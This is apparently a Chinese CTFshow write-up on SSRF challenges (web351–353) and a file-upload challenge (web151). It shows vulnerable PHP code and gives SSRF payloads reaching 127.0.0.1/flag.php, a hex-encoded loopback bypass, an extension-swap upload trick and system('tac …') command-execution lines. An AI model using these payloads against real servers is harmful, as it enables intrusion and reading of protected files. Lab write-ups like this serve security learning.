CTFshow-SSRF&文件上传

web351

复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

构造POST

url=http://127.0.0.1/flag.php

web352

复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

代码分析

复制代码
error_reporting(0); 这一行关闭了所有PHP错误报告,这在生产环境中可能是为了保持用户体验的干净,但在开发过程中关闭错误报告不是一个好习惯,因为它会使调试更加困难。
highlight_file(__FILE__); 这行代码的作用是显示当前文件的源代码。当这个PHP脚本被执行时,它会高亮显示自身的代码。这通常用于学习或展示代码的目的,但它也可能无意中暴露了源代码,带来安全隐患。
$url = $_POST['url']; 这行代码从POST请求中获取名为url的参数值,将其赋值给变量$url。
$x = parse_url($url); 使用parse_url()函数解析$url,并返回一个关联数组,其中包含了URL的不同部分(如方案、主机名等)。
if($x['scheme'] === 'http' || $x['scheme'] === 'https') { ... } else { die('hacker'); } 这段条件语句检查解析后的URL是否使用的是HTTP或HTTPS协议。如果不是这两种协议之一,则程序终止执行,并输出'hacker',这可能是为了阻止尝试利用其他协议进行的攻击。
在检查协议之后,代码进一步检查URL中是否包含localhost或127.0.0(通常代表本地回环地址)。这是通过preg_match()函数完成的。如果匹配成功(即URL试图访问本地资源),则程序也会终止执行并输出'hacker'。
如果上述两个检查都通过了,代码将继续执行。它使用cURL库来发送HTTP请求到提供的URL,并通过设置选项CURLOPT_RETURNTRANSFER为1来确保响应体被作为字符串返回而不是直接输出。然后,通过curl_exec()执行请求,并将结果存储在变量$result中。
最后,echo ($result); 输出从远程服务器接收到的内容。

同上

web353

复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> 

用16进制绕过

POST

url=http://0x7f.0.0.1/flag.php

web151

只能上传png格式的图片

bp改个后缀名

命令执行

1=system("tac /var/www/html/flag.php");

1=system("tac /var/www/html/flag.php");

相关推荐
charlie11451419113 分钟前
嵌入式Linux驱动开发pinctrl篇(1)——从寄存器到子系统:驱动演进之路
linux·运维·驱动开发
Agent手记20 分钟前
异常考勤智能预警与处理与流程优化方案 | 基于企业级Agent的超自动化实战教程
运维·人工智能·ai·自动化
Likeadust30 分钟前
私有化视频会议系统/智能会议管理系统EasyDSS集群通话助力各行业安全高效远程协作
安全
cen__y1 小时前
Linux12(Git01)
linux·运维·服务器·c语言·开发语言·git
随身数智备忘录2 小时前
什么是设备管理体系?设备管理体系包含哪些核心模块?
网络·数据库·人工智能
第五文修3 小时前
手机OTG转TTL网口实现ping功能
网络·智能手机
审判长烧鸡3 小时前
【Go工具】go-playground是什么组织?官方的?
开发语言·安全·go
189228048613 小时前
NY352固态MT29F32T08GWLBHD6-24QJ:B
大数据·服务器·人工智能·科技·缓存
dapeng-大鹏3 小时前
KVM+LVM 零停机在线扩容 Ubuntu 根分区:从磁盘添加到逻辑卷扩展完整
linux·运维·ubuntu·磁盘空间扩展
不开大的凯20773 小时前
麦当秀AiPPT战略转向:从SaaS订阅迈向Token经济,AI办公定价模式迎来新探索
大数据·人工智能